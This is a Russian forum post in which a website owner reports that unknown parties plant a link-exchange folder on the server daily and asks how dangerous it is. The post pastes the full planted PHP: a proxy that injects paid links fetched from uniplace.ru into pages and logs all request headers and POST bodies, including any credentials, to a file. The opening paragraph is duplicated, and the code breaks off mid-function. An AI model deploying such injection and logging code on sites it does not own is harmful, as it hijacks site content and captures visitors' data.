- Автор темы
- #1
Здравствуйте!Версия ДЛЕ 8.3 Nulled by MID Team
Скорее всего мне нужно было создать топик в разделе php,но у меня нет доступа к нему, не судите строго пожалуйста .
Проблема следующяя : Кто то ежедневно заливает мне на сервер папку
с названием ba817968fe2f2b6307f560d749d69196 и в ней есть 2 файла
proxify.php и uniclient.php как я понял это от биржи ссылок,но я никогда не ригистрировался там и никаких дел с ними не имею,Подскажите степень опасности такого и как с этим боротся.Есть горький опыт когда ломали мне сайт на движке 8.2 Nulled by MID Team \по моей же оплошности, так как не стояла заплатка на файл lostpassword.php и не хотелось бы снова повторить этот опыт.Спасибо и извиняюсь если что то не так с моей стороны при создании темы на форуме !
ниже приведу пример того, что прописано в тех 2-ух файлах
proxify.php:
Скорее всего мне нужно было создать топик в разделе php,но у меня нет доступа к нему, не судите строго пожалуйста .
Проблема следующяя : Кто то ежедневно заливает мне на сервер папку
с названием ba817968fe2f2b6307f560d749d69196 и в ней есть 2 файла
proxify.php и uniclient.php как я понял это от биржи ссылок,но я никогда не ригистрировался там и никаких дел с ними не имею,Подскажите степень опасности такого и как с этим боротся.Есть горький опыт когда ломали мне сайт на движке 8.2 Nulled by MID Team \по моей же оплошности, так как не стояла заплатка на файл lostpassword.php и не хотелось бы снова повторить этот опыт.Спасибо и извиняюсь если что то не так с моей стороны при создании темы на форуме !
ниже приведу пример того, что прописано в тех 2-ух файлах
proxify.php:
и uniclient.phpHTML:<?php // New: To do not display warnings: error_reporting(E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR); // New: Compatibility with NGINX, Apache+FCGID, Lighttpd etc: if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } if(!defined("UNIPLACE_INITIATED")) { define( "UNIPLACE_SID", "ba817968fe2f2b6307f560d749d69196"); include dirname(__FILE__)."/uniclient.php"; define("UNIPLACE_NOOBSTART",true); define("UNIPLACE_ECHOONREQUEST",true); $up=new uniplace(); $arr_replace=array("</body>"=>$up->links()."</body>"); } // New: Agreggating POST-query-string /* $stdin = fopen("php://stdin", "rb"); $post_query_string = fread($stdin, 4294967296); fclose($stdin); */ #$post_query_string=$HTTP_RAW_POST_DATA; $post_query_string=file_get_contents("php://input"); $_request_method = $_SERVER['REQUEST_METHOD']; /* $post_query_string = ""; if($_POST) { $kv = array(); foreach ($_POST as $key => $value) { $kv[] = "$key=$value"; } $post_query_string = join("&", $kv); } */ function url_parse($url, & $container) { $temp = @parse_url($url); if (!empty($temp)) { $temp['port_ext'] = ''; $temp['base'] = $temp['scheme'] . '://' . $temp['host']; if (isset($temp['port'])) { $temp['base'] .= $temp['port_ext'] = ':' . $temp['port']; } else { $temp['port'] = $temp['scheme'] === 'https' ? 443 : 80; } $temp['path'] = isset($temp['path']) ? $temp['path'] : '/'; $path = array(); $temp['path'] = explode('/', $temp['path']); foreach ($temp['path'] as $dir) { if ($dir === '..') { array_pop($path); } else if ($dir !== '.') { for ($dir = rawurldecode($dir), $new_dir = '', $i = 0, $count_i = strlen($dir); $i < $count_i; $new_dir .= strspn($dir{$i}, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*\'(),?:@&;=') ? $dir{$i} : rawurlencode($dir{$i}), ++$i); $path[] = $new_dir; } } $temp['path'] = str_replace('/%7E', '/~', '/' . ltrim(implode('/', $path), '/')); $temp['file'] = substr($temp['path'], strrpos($temp['path'], '/')+1); $temp['dir'] = substr($temp['path'], 0, strrpos($temp['path'], '/')); $temp['base'] .= $temp['dir']; $temp['prev_dir'] = substr_count($temp['path'], '/') > 1 ? substr($temp['base'], 0, strrpos($temp['base'], '/')+1) : $temp['base'] . '/'; $container = $temp; return true; } return false; } $_url=$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; // // SET URL // if (strpos($_url, '://') === false) { $_url = 'http://' . $_url; } if (url_parse($_url, $_url_parts)) { $_base = $_url_parts; if (!empty($_hosts)) { foreach ($_hosts as $host) { if (preg_match($host, $_url_parts['host'])) { //show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'external', 'error' => 1)); die('wrong request'); } } } } else { //show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'external', 'error' => 2)); die('error parsing url'); } // // OPEN SOCKET TO SERVER // // $_retry = false; $_socket = @fsockopen(($_url_parts['scheme'] === 'https' && $_system['ssl'] ? 'ssl://' : 'tcp://') . $_url_parts['host'], $_url_parts['port'], $err_no, $err_str, 30); if ($_socket === false) { //show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'internal', 'error' => $err_no)); die('could not connect to localhost'); } // // SET REQUEST HEADERS // $_request_headers = $_request_method . ' ' . $_url_parts['path']; if (isset($_url_parts['query'])) { $_request_headers .= '?'; $query = preg_split('#([&;])#', $_url_parts['query'], -1, PREG_SPLIT_DELIM_CAPTURE); for ($i = 0, $count = count($query); $i < $count; $_request_headers .= implode('=', array_map('urlencode', array_map('urldecode', explode('=', $query[$i])))) . (isset($query[++$i]) ? $query[$i] : ''), $i++); } $_request_headers .= " HTTP/1.0\r\n"; foreach (getallheaders() as $name => $value) { if ($name!='Accept-Encoding') $_request_headers .= "$name: $value\n"; } $_request_headers.="ignore".UNIPLACE_SID.": yes\n"; $post_query_string_len=strlen($post_query_string); // New: Coping gotted POST-query-string into our query. if($post_query_string_len > 0) { #$_request_headers.="Content-Length: ".$post_query_string_len."\nContent-Type: application/x-www-form-urlencoded\n"; // Please, check about rightness of "Content-Type" $_request_headers.="Content-Length: ".$post_query_string_len."\nContent-Type: ".$_SERVER['CONTENT_TYPE']."\n"; // Please, check about rightness of "Content-Type" #$_request_headers.="Content-Length: ".$post_query_string_len."\n"; } fwrite($_socket, $_request_headers."\n".$post_query_string."\n"); // New: Debug: //* $tfd=fopen("log", "a"); fwrite($tfd, $_request_headers."\n".$post_query_string."\n----(".$post_query_string.")---------\n"); fclose($tfd); //*/ // // PROCESS RESPONSE HEADERS // $_response_headers = $_response_keys = array(); $line = fgets($_socket, 8192); while (strspn($line, "\r\n") !== strlen($line)) { @list($name, $value) = explode(':', $line, 2); $name = trim($name); $_response_headers[strtolower($name)][] = trim($value); $_response_keys[strtolower($name)] = $name; $line = fgets($_socket, 8192); } sscanf(current($_response_keys), '%s %s', $_http_version, $_response_code); // // OUTPUT RESPONSE IF NO PROXIFICATION IS NEEDED // $_response_headers = array_filter($_response_headers); $_response_keys = array_filter($_response_keys); header(array_shift($_response_keys)); array_shift($_response_headers); //if ($_response_headers['content-encoding'][0]=='gzip') $_response_headers['content-encoding'][0]='UTF-8'; foreach ($_response_headers as $name => $array) { foreach ($array as $value) { header($_response_keys[$name] . ': ' . $value, false); } } if (isset($_response_headers['content-type'][0])&&strstr($_response_headers['content-type'][0],'text/html')){ $ret=""; do { $data = fread($_socket, 8192); $ret.=$data; //echo $data; } while (isset($data{0})); if(isset($_response_headers['content-encoding'])) { // New: "$_response_headers['content-encoding']" may be unsetted. We should check this. if ($_response_headers['content-encoding'][0]=='gzip') { $ret=gzinflate(substr($ret,10,-8)); //var_dump($ret); } } echo str_replace(array_keys($arr_replace),array_values($arr_replace),$up->replace_in_text($ret)); }else{ do{ $data = fread($_socket, 8192); echo $data; } while (isset($data{0})); } fclose($_socket); exit(0); ?>
HTML:<?php // --------------------------------------------------------------------------- // -------------------------------- UniPlace.ru ------------------------------ // --------------------------------------------------------------------------- class UniPlace { function UniPlace($obj = array()) { if (!is_array($obj)) $obj=array("UNIPLACE_URI"=>$obj); $this->UNIPLACE_URL = "http://www.uniplace.ru/update.php"; define('UNIPLACE_INITIATED',true); define('UNICLIENT_VERSION','2.09'); $this->START_CONTEXT_WORD = isset($obj["START_CONTEXT_WORD"]) ? $obj["START_CONTEXT_WORD"] : (defined("START_CONTEXT_WORD")) ? START_CONTEXT_WORD :"<index>"; $this->END_CONTEXT_WORD = isset($obj["END_CONTEXT_WORD"]) ? $obj["END_CONTEXT_WORD"] : (defined("END_CONTEXT_WORD")) ? END_CONTEXT_WORD : "</index>"; $this->UNIPLACE_ENCODING = isset($obj["UNIPLACE_ENCODING"]) ? $obj["UNIPLACE_ENCODING"] : (defined("UNIPLACE_ENCODING")) ? UNIPLACE_ENCODING : '' ; $this->LINKS_SEPARATOR = isset($obj["LINKS_SEPARATOR"]) ? $obj["LINKS_SEPARATOR"] : (defined("LINKS_SEPARATOR")) ? LINKS_SEPARATOR : ", "; $this->UNISAFETY_SORT = isset($obj["UNISAFETY_SORT"]) ? $obj["UNISAFETY_SORT"] : (defined("UNISAFETY_SORT")) ? UNISAFETY_SORT : true; $this->UNISAFETY_REMOVE_UNKNOWN_GET = isset($obj["UNISAFETY_REMOVE_UNKNOWN_GET"]) ? $obj["UNISAFETY_REMOVE_UNKNOWN_GET"] : (defined("UNISAFETY_REMOVE_UNKNOWN_GET")) ? UNISAFETY_REMOVE_UNKNOWN_GET : true; $this->UNISAFETY_CLEANUP_DEFAULT_INDEX = isset($obj["UNISAFETY_CLEANUP_DEFAULT_INDEX"]) ? $obj["UNISAFETY_CLEANUP_DEFAULT_INDEX"] : (defined("UNISAFETY_CLEANUP_DEFAULT_INDEX")) ? UNISAFETY_CLEANUP_DEFAULT_INDEX : true; $this->UNIPLACE_DEBUG = isset($obj["UNIPLACE_DEBUG"]) ? $obj["UNIPLACE_DEBUG"] : (defined("UNIPLACE_DEBUG")) ? UNIPLACE_DEBUG : false; $this->UNIPLACE_EXTENDED_REWRITE = isset($obj["UNIPLACE_EXTENDED_REWRITE"]) ? $obj["UNIPLACE_EXTENDED_REWRITE"] : defined("UNIPLACE_EXTENDED_REWRITE") ? UNIPLACE_EXTENDED_REWRITE : false; $this->UNIPLACE_RENEW_TIMEOUT = isset($obj["UNIPLACE_RENEW_TIMEOUT"]) ? $obj["UNIPLACE_RENEW_TIMEOUT"] : (defined("UNIPLACE_RENEW_TIMEOUT")) ? UNIPLACE_RENEW_TIMEOUT : 86400; $this->UNIPLACE_ALLOW_MAILFORMED_TAGS = isset($obj["UNIPLACE_ALLOW_MAILFORMED_TAGS"]) ? $obj["UNIPLACE_ALLOW_MAILFORMED_TAGS"] : (defined("UNIPLACE_ALLOW_MAILFORMED_TAGS")) ? UNIPLACE_ALLOW_MAILFORMED_TAGS : false; $this->UNIPLACE_ECHOONREQUEST = isset($obj["UNIPLACE_ECHOONREQUEST"]) ? $obj["UNIPLACE_ECHOONREQUEST"] : (defined("UNIPLACE_ECHOONREQUEST")) ? UNIPLACE_ECHOONREQUEST : false; $this->UNIPLACE_NOOBSTART = isset($obj["UNIPLACE_NOOBSTART"]) ? $obj["UNIPLACE_NOOBSTART"] : (defined("UNIPLACE_NOOBSTART")) ? UNIPLACE_NOOBSTART : false; if (defined("UNIPLACE_SID")) $this->UNIPLACE_SID =UNIPLACE_SID ; elseif (isset($obj["UNIPLACE_SID"])) $this->UNIPLACE_SID =$obj["UNIPLACE_SID"]; elseif (preg_match('@.*/([0-9a-z]*)$@', realpath(__file__), $regs)) { // если почему-то идентификатор не задан пробуем задать его через директорию $this->UNIPLACE_SID = $regs[1]; } $this->BUFER_ATTACHED=false; $this->UNIPLACE_SID=preg_replace('/[^A-Z0-9]/i','',$this->UNIPLACE_SID); $this->UNIPLACE_DIR = dirname(__file__); $this->UNIPLACE_HOST_URI = isset($obj["UNIPLACE_HOST_URI"]) ? $obj["UNIPLACE_HOST_URI"] : (defined("UNIPLACE_HOST_URI")) ? UNIPLACE_HOST_URI : $_SERVER['HTTP_HOST']; $this->UNIPLACE_HOST_URI=preg_replace('/^www\./i','',$this->UNIPLACE_HOST_URI); //$this->UNIPLACE_HOST_URI = $_SERVER['HTTP_HOST']; $this->LINKS_FUNCTION_COUNTER=0; // если пришел наш робот //var_dump(isset($_COOKIE[$this->UNIPLACE_SID])); $this->UNIPLACE_ROBOT = isset($_COOKIE[$this->UNIPLACE_SID]); if ($this->UNIPLACE_ROBOT&&preg_match('/debug/i',$_COOKIE[$this->UNIPLACE_SID])) $this->UNIPLACE_DEBUG=true; //var_dump(UNIPLACE_ROBOT); // переменные $this->uniplace_banned_tokens = array("a", "h1", "h2", "h3", "textarea", "select", "script", "style", "unindex", "noindex"); $this->uniplace_stack = array(); $this->uniplace_words = array(); $this->uniplace_links = array(); $this->uniplace_uniplace_attach = ""; // rewrite workaround for joomla,drupal if ($this->UNIPLACE_ROBOT) { $this->uniplace_uniplace_attach .= "<!-- " . $this->UNIPLACE_SID . " " . htmlspecialchars($_COOKIE[$this->UNIPLACE_SID]) . "-->\r\n"; $this->COOKIE_UNIPLACE_SID = $_COOKIE[$this->UNIPLACE_SID]; }else $this->COOKIE_UNIPLACE_SID=false; if (substr(sprintf('%o', fileperms($this->UNIPLACE_DIR)), -3)!='777'&&$this->UNIPLACE_DEBUG){ $this->uniplace_uniplace_attach .= "<!-- uniplace error - permission to client directory is " . substr(sprintf('%o', fileperms($this->UNIPLACE_DIR)), -4) . " -->\r\n"; } $this->UNIPLACE_URI = isset($obj["UNIPLACE_URI"]) ? $obj["UNIPLACE_URI"] : (defined("UNIPLACE_URI")) ? UNIPLACE_URI : false; if (!$this->UNIPLACE_URI) { if ($this->UNIPLACE_EXTENDED_REWRITE) empty($_SERVER['REDIRECT_URL']) ? $this->uniplace_this_page_address = $_SERVER['REQUEST_URI'] : $this->uniplace_this_page_address = $_SERVER['REDIRECT_URL'] . (!empty($_SERVER['REDIRECT_QUERY_STRING']) ? "?" . $_SERVER['REDIRECT_QUERY_STRING'] : ""); else $this->uniplace_this_page_address = $_SERVER['REQUEST_URI']; } else { $this->uniplace_this_page_address = $this->UNIPLACE_URI; } if ($this->UNIPLACE_DEBUG) { $this->uniplace_uniplace_attach .= "<!-- page detected as " . $this->uniplace_this_page_address . " -->\r\n"; } $url = $this->UNIPLACE_URL . "?action=getlinks&user_hash=" . $this->UNIPLACE_SID . "&charset=" . $this->UNIPLACE_ENCODING . "&host_uri=" . $this->UNIPLACE_HOST_URI . "&act=getlinks&ver=".UNICLIENT_VERSION; $unisafety = $this->UNIPLACE_URL . "?action=getunisafety&user_hash=" . $this->UNIPLACE_SID . "&charset=" . $this->UNIPLACE_ENCODING . "&host_uri=" . $this->UNIPLACE_HOST_URI . "&act=getunisafety&ver=".UNICLIENT_VERSION; $settings = $this->UNIPLACE_URL . "?action=getsettings&user_hash=" . $this->UNIPLACE_SID . "&charset=" . $this->UNIPLACE_ENCODING . "&host_uri=" . $this->UNIPLACE_HOST_URI . "&act=getsettings&ver=".UNICLIENT_VERSION; if ($this->UNIPLACE_DEBUG) { $this->uniplace_uniplace_attach .= "<!-- update url $url -->\r\n"; $this->uniplace_uniplace_attach .= "<!-- unisafety url $unisafety -->\r\n"; $this->uniplace_uniplace_attach .= "<!-- settings url $settings -->\r\n"; } // обновляем список слов $links1 = new UniRetriever($url, $this->UNIPLACE_DIR . "/words.db.".md5($this->UNIPLACE_HOST_URI)); $links2 = new UniRetriever($unisafety, $this->UNIPLACE_DIR . "/unisafety.db.".md5($this->UNIPLACE_HOST_URI)); $links3 = new UniRetriever($settings, $this->UNIPLACE_DIR . "/settings.db.".md5($this->UNIPLACE_HOST_URI)); // если устарел на сутки - скачиваем автоматом if ( (file_exists($links1->local_file)&&$links1->is_old($this->UNIPLACE_RENEW_TIMEOUT)) || // если пришел робот и сказал "обновить" и прошло больше часа ($this->UNIPLACE_ROBOT && $_COOKIE[$this->UNIPLACE_SID] == "getupdate" && $links1->is_old(3600)) ) // если пришел наш робот а файлов еще нет то не обновляем { if ($this->UNIPLACE_DEBUG) { $this->uniplace_uniplace_attach .= "<!-- need to renew words.db-->\r\n"; } $links1->fetch(); $content = @unserialize(trim($links1->get_content())); if (is_array($content)) { if ($this->UNISAFETY_SORT) { $this->resort_urls($content); $links1->content = serialize($content); } $links1->save(); } elseif (file_exists($links1->local_file)) { // если ошибка - устанавливаем дату доступа к файлу в 3000 секунд (50 минут) // чтобы через 10 минут снова проверить if ($this->UNIPLACE_DEBUG) { $this->uniplace_uniplace_attach .= "<!-- touching words file -12 hrs -->\r\n"; } $links1->touch(43200 - $this->UNIPLACE_RENEW_TIMEOUT); } unset($content); } else { if ($this->UNIPLACE_DEBUG) { $this->uniplace_uniplace_attach .= "<!-- no need to renew words file -->\r\n"; } } // забираем настройки unisafety if ( (file_exists($links2->local_file)&&$links2->is_old($this->UNIPLACE_RENEW_TIMEOUT)) || // если пришел робот и сказал "обновить" и прошло больше часа ($this->UNIPLACE_ROBOT && $_COOKIE[$this->UNIPLACE_SID] == "getupdate" && $links2->is_old(3600)) ) { $links2->fetch(); $content = @unserialize(trim($links2->get_content())); if (is_array($content)) { $links2->save(); } elseif(file_exists($links2->local_file)) { if ($this->UNIPLACE_DEBUG) { $this->uniplace_uniplace_attach .= "<!-- error getting unisafety - touching unisafety -12 hrs -->\r\n"; } $links2->touch(43200 - $this->UNIPLACE_RENEW_TIMEOUT); } unset($content); } // забираем настройки проекта if ( (file_exists($links3->local_file)&&$links3->is_old($this->UNIPLACE_RENEW_TIMEOUT)) || // если пришел робот и сказал "обновить" и прошло больше часа ($this->UNIPLACE_ROBOT && $_COOKIE[$this->UNIPLACE_SID] == "getupdate" && $links3->is_old(3600)) ) { $links3->fetch(); $content = @unserialize(trim($links3->get_content())); if (is_array($content)) { $links3->save(); // устанавливаем настройки хоста if (isset($content["ENCODING"])&&$this->UNIPLACE_ENCODING=='') $this->UNIPLACE_ENCODING=$content["ENCODING"]; } elseif (file_exists($links3->local_file)) { if ($this->UNIPLACE_DEBUG) $this->uniplace_uniplace_attach .= "<!-- error getting settings - touching -12 hrs -->\r\n"; $links3->touch(43200 - $this->UNIPLACE_RENEW_TIMEOUT); } unset($content); } if ($this->UNIPLACE_ENCODING==''&&$this->UNIPLACE_DEBUG) $this->uniplace_uniplace_attach .= "<!-- uniplace warning: unknown encoding -->\r\n"; if ($this->UNISAFETY_SORT) { $unisafetyvars=@unserialize($links2->get_local_contents()); if (!is_array($unisafetyvars)) $unisafetyvars=array(); $this->uniplace_this_page_address = $this->resort_url($this->uniplace_this_page_address, $unisafetyvars); if ($this->UNIPLACE_DEBUG) $this->uniplace_uniplace_attach .= "<!-- unisafety transformed page to " . $this->uniplace_this_page_address . " -->\r\n"; } $url2words_array = @unserialize(trim($links1->get_local_contents())); if (isset($url2words_array[$this->uniplace_this_page_address])) foreach ($url2words_array[$this->uniplace_this_page_address] as $arr) { if ($arr[1] == 1) $this->uniplace_words[] = new UniWord($arr[0],$this->UNIPLACE_ENCODING); else $this->uniplace_links[] = $arr[0]; } //var_dump($this->uniplace_words); // выводим весь список опций if($this->UNIPLACE_DEBUG){ $this->uniplace_uniplace_attach .= "<!-- Uniplace UNIPLACE_ENCODING: ".$this->UNIPLACE_ENCODING."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace LINKS_SEPARATOR: ".$this->LINKS_SEPARATOR."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNISAFETY_SORT: ".$this->UNISAFETY_SORT."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNIPLACE_NOOBSTART: ".($this->UNIPLACE_NOOBSTART ? 'true' : 'false') ."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNIPLACE_EXTENDED_REWRITE: ".$this->UNIPLACE_EXTENDED_REWRITE."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNISAFETY_CLEANUP_DEFAULT_INDEX: ".$this->UNISAFETY_CLEANUP_DEFAULT_INDEX."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNISAFETY_REMOVE_UNKNOWN_GET: ".$this->UNISAFETY_REMOVE_UNKNOWN_GET."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNIPLACE_HOST_URI: ".$this->UNIPLACE_HOST_URI."-->\r\n"; $this->uniplace_uniplace_attach .= "<!-- Uniplace UNICLIENT_VERSION: ".UNICLIENT_VERSION."-->\r\n"; foreach ($this->uniplace_words as $value){ $this->uniplace_uniplace_attach .= "<!-- Context word :". htmlspecialchars($value->get_name(),ENT_NOQUOTES). " -->\r\n"; } foreach ($this->uniplace_links as $value){ $this->uniplace_uniplace_attach .= "<!-- Block word :". htmlspecialchars($value,ENT_NOQUOTES). " -->\r\n"; } } if (!$this->UNIPLACE_NOOBSTART) ob_start(array(&$this, "callback")); elseif (!$this->UNIPLACE_ECHOONREQUEST) echo $this->uniplace_uniplace_attach; //var_dump(replace1(" ")); } function resort_url($url, $left = null) { // избавляемся от анкоров на странице. $url = preg_replace('/#.*$/', '', $url); $url .= "&"; @list($file, $params) = @split('\?', $url, 2); $str = ''; if ($this->UNISAFETY_CLEANUP_DEFAULT_INDEX) $file = preg_replace('@(.*/|^)(index|default)\.(php|phtml|asp|htm|html)&?$@','$1',$file); if ($params) { $tmp = array(); preg_match_all('/([^=&]*)(=?)([^=&]*)&/', $params, $result, PREG_SET_ORDER); // мы собираем имена переменных и их значения for ($matchi = 0; $matchi < count($result); $matchi++) { $param = $result[$matchi][1]; $eq = $result[$matchi][2]; $value = $result[$matchi][3]; if ($param) $tmp[$param] = array($eq, $value); } // сортируем по именам ksort($tmp); // соединяем в строчку foreach ($tmp as $key => $value) // если параметр содержится в массиве - оставляем if (!is_array($left) || (is_array($left) && in_array($key, $left) && $this->UNISAFETY_REMOVE_UNKNOWN_GET) || (is_array($left) && !$this->UNISAFETY_REMOVE_UNKNOWN_GET) ) $str .= $key . $value[0] . $value[1] . "&"; // и проверяем такую хитрожопость: $str = '?' . $str; //if (substr($str,-1)=="&") $str = substr($str, 0, -1); $str=preg_replace('/[\?&]+$/','',$str); } else $file=preg_replace('/[\?&]+$/','',$file); return $file . $str; } function resort_urls(&$content) { // для каждого URL'а $new_content = array(); foreach ($content as $url => $data) { $new_content[$this->resort_url($url)] = $data; } $content = $new_content; unset($new_content); } /** * * * @param string $buffer * @return string */ function callback($buffer,$replace_in_text=false) { //$words = &$this->uniplace_words; //$this_page_address = &$this->uniplace_this_page_address; if (!$this->UNIPLACE_NOOBSTART&&!$this->BUFER_ATTACHED) { $buffer = $this->uniplace_uniplace_attach . $buffer; $this->BUFER_ATTACHED=true; }elseif ($this->UNIPLACE_NOOBSTART&&!$this->BUFFER_ATTACHED){ $buffer = $this->uniplace_uniplace_attach . $buffer; $this->BUFER_ATTACHED=true; } if (preg_match("/nolinks/", $this->COOKIE_UNIPLACE_SID)) return $buffer; // формируем список слов $start = strpos($buffer, $this->START_CONTEXT_WORD); $finish = strpos($buffer, $this->END_CONTEXT_WORD); $before = substr($buffer, 0, $start + ($this->UNIPLACE_ROBOT ? strlen($this->START_CONTEXT_WORD) : 0)); $after = substr($buffer, $finish + ($this->UNIPLACE_ROBOT ? 0 : strlen($this->END_CONTEXT_WORD))); // если нет тега index if ($finish == false && $start == false) { preg_match("@(.*?<body[^>]*>)(.*)(</body[^>]*>.*)$@si", $buffer, $split_document); // если поделилось if (count($split_document) == 4) { $before = $split_document[1]; $buffer = ($this->UNIPLACE_ROBOT ? $this->START_CONTEXT_WORD : "") . $split_document[2] . ($this->UNIPLACE_ROBOT ? $this->END_CONTEXT_WORD : ""); $after = $split_document[3]; // если не поделилось } elseif ($replace_in_text||$this->UNIPLACE_ALLOW_MAILFORMED_TAGS){ // тут не обязательно должны быть <body> $this->UNIPLACE_DEBUG ? $before = "<!-- Uniplace CONTEXT_REPLACE start -->" : $before=""; $buffer = ($this->UNIPLACE_ROBOT ? $this->START_CONTEXT_WORD : "") . $buffer . ($this->UNIPLACE_ROBOT ? $this->END_CONTEXT_WORD : ""); $this->UNIPLACE_DEBUG ? $after = "<!-- Uniplace CONTEXT_REPLACE end -->" : $after=""; } else { if ($this->UNIPLACE_DEBUG||$this->UNIPLACE_ROBOT) { $buffer .= "<!-- Uniplace error: split error, parts: " . count($split_document) . " -->"; } return $buffer; } } // если тег индекс не открыт или не закрыт - ахтунг, ничего не делать elseif ($finish == false || $start == false) { if ($this->UNIPLACE_DEBUG||$this->UNIPLACE_ROBOT) { $buffer .= "<!-- Uniplace error index intersect -->"; } return $buffer; // если есть тег индекс } else { $buffer = substr($buffer, $start + strlen($this->START_CONTEXT_WORD), $finish - ($start + strlen($this->END_CONTEXT_WORD))+1); } //return replace1($buffer); return $before . $this->replace($buffer) . $after; } /** * * * @param string $buffer * @return array */ function tokenize($buffer) { $token = "<"; $tok = strtok($buffer, $token); while ($tok) { $str[] = $tok; $tok = strtok($token); } return $str; } /** * * * @param string $string * @return string */ function tag_name($string) { $matches = array(); preg_match("@^/{0,1}([a-z0-9]+)@i", $string, $matches); if (isset($matches[1])) { return strtolower($matches[1]); } else { return null; } } /** * * * @param string $buffer * @return string */ function replace($buffer) { // echo "ger"; $stack = &$this->uniplace_stack; $words = &$this->uniplace_words; $banned_tokens = &$this->uniplace_banned_tokens; $parse_error = false; $result = ""; // разбиваем строку на токены $tokens = $this->tokenize($buffer); $k = 0; //foreach( $tokens as $k => $token ) { while (isset($tokens[$k])) { $token = $tokens[$k]; // нужно ли будет добавлять скобку или нет $need_bracket = (strpos($token, ">") !== false || strpos($token, "!--") === 0 || strpos($token, "![") === 0 || $k > 0 ? true : false); // если есть что заменять if (!empty($words)) { // определяем название тега $name = $this->tag_name($token); // определяем - открывающий тег или закрывающий if (substr($token, 0, 1) == "/") { $position = "end"; } // одиночный elseif (preg_match("@.{0,}/\s{0,}>@iU", $token) && !in_array($name, $banned_tokens)) { $position = "none"; // закрывающий } else { $position = "start"; } // кладем в стек if (in_array($name, $banned_tokens) && count($stack) == 0 && $position == "start") { $stack[] = $name; if ($this->UNIPLACE_DEBUG) { //$token = "!-- into stack: ".$name." --><".$token; } } // достаем из стека elseif (in_array($name, $banned_tokens) && count($stack) > 0 && $position == "end") { $prev = array_pop($stack); // если достали не то - значит плохой тег еще не кончился, кладем обратно if ($prev != $name) { $stack[] = $prev; } else { if ($this->UNIPLACE_DEBUG) { //$token.= "<!-- out of stack: ".$prev." -->"; } } } // если стек пустой и не было ошибки парсинга - заменяем if (!$parse_error && count($stack) == 0) { // класс для ссылки // идем по списку слов foreach ($words as $key => $word) { // регэксп замены $regexp = ($need_bracket ? "@(.*>.*)" : "@(.*)") . "(" . str_replace(" ", "[\\s\\r\\n\\t]*", preg_quote($word->get_left_part())) . "[\\s\\r\\n\\t]*)(" . str_replace(" ", "[\\s\\r\\n\\t]*", preg_quote($word->get_clear_name())) . ")([\\s\\r\\n\\t]*" . str_replace(" ", "[\\s\\r\\n\\t]*", preg_quote($word->get_right_part())) . ")(.*)@is"; // на что заменять //$href = "$1 $2 <a href=\"".$word->url."\" ".( !empty( $link_class ) ? "class=\"".$link_class."\"" : "" )." target=\"_blank\">$3</a> $4 $5"; // замена //$replaced = preg_replace( $regexp, $href, $token, 1 ); //$ttoken=$token; if (preg_match($regexp, $token, $regs)) // если заменили в этой части контента - удаляем слово из // буфера и больше его не ищем //if( strlen( $replaced ) != strlen( $token ) && $replaced != NULL ) { //echo "matched"; $token = $regs[1] . $regs[2]; array_splice($tokens, $k, 1, array($token, "a href=\"" . $word->get_url() . "\" " . (!empty($this->UNIPLACE_LINK_CLASS) ? "class=\"" . $this->UNIPLACE_LINK_CLASS . "\"" : "") . " target=\"_blank\">" . $regs[3], "/a>" . $regs[4] . $regs[5])); if ($this->UNIPLACE_DEBUG) { //$token .= "<!-- replace has happened here $regexp -->"; //$token .= "<!-- " . ($word->get_left_part()) . " -->"; //$token .= "<!-- " . ($word->get_clear_name()) . " -->"; //$token .= "<!-- " . ($word->get_right_part()) . " -->"; } unset($words[$key]); //$token = $replaced; } //else $token=$tokenorig; } if ($this->UNIPLACE_DEBUG) { //$token.="<!-- searching for ".htmlspecialchars($regexp,ENT_NOQUOTES)." -->";//.htmlentities($token,ENT_NOQUOTES,($this->UNPLACE_ENCODING!='') ? $this->UNPLACE_ENCODING : NULL )." -->\r\n"; } } else { if ($this->UNIPLACE_DEBUG) { //$token.= "<!-- ".count( $stack )." in stack -->"; } } } $result .= ($need_bracket ? "<" : "") . $token; $k++; } return $result; } /** * * * @param string $buffer * @return string */ function replace_in_text($buffer) { return $this->callback($buffer,true); } function links($num = -1) { $this->LINKS_FUNCTION_COUNTER++; //if ($this->UNIPLACE_DEBUG) echo "<!-- block links ".$this->UNIPLACE_SID." $num -->\r\n"; $this->UNIPLACE_DEBUG ? $ret= "<!-- links block number ".$this->LINKS_FUNCTION_COUNTER." consists of $num links href -->" : $ret = ""; //if ($this->UNIPLACE_ROBOT && preg_match("/nolinks/", $_COOKIE[$this->UNIPLACE_SID])) array_pop($this->uniplace_links); //var_dump($this->uniplace_links); //die(); while (count($this->uniplace_links) > 0 && $num != 0) { $echo = array_pop($this->uniplace_links) . ((count($this->uniplace_links) > 0 && $num != 1) ? $this->LINKS_SEPARATOR : ""); if (!preg_match("/nolinks/", $this->COOKIE_UNIPLACE_SID)) $ret .= $echo; else $ret .= "<!-- link href was here -->"; $num--; } return $ret; } // начинаем буферизацию вывода } /** * * */ class UniWord { /** * Конструктор * * @param string $name * @return UniWord */ function UniWord($name = '',$encoding=null) { $this->name = $name; $this->encoding = ($encoding!='' ? $encoding :null); //var_dump($this->encoding); //$this->url = $url; } /** * Геттер $name * * @return string */ function get_name() { return $this->name; } function get_clear_name() { preg_match('#<a[^>]*>(.*?)</a>#si', $this->name, $regs); return trim($regs[1]); } function get_left_part() { preg_match('#^(.*?)<a#si', $this->name, $regs); return trim($regs[1]); } function get_right_part() { 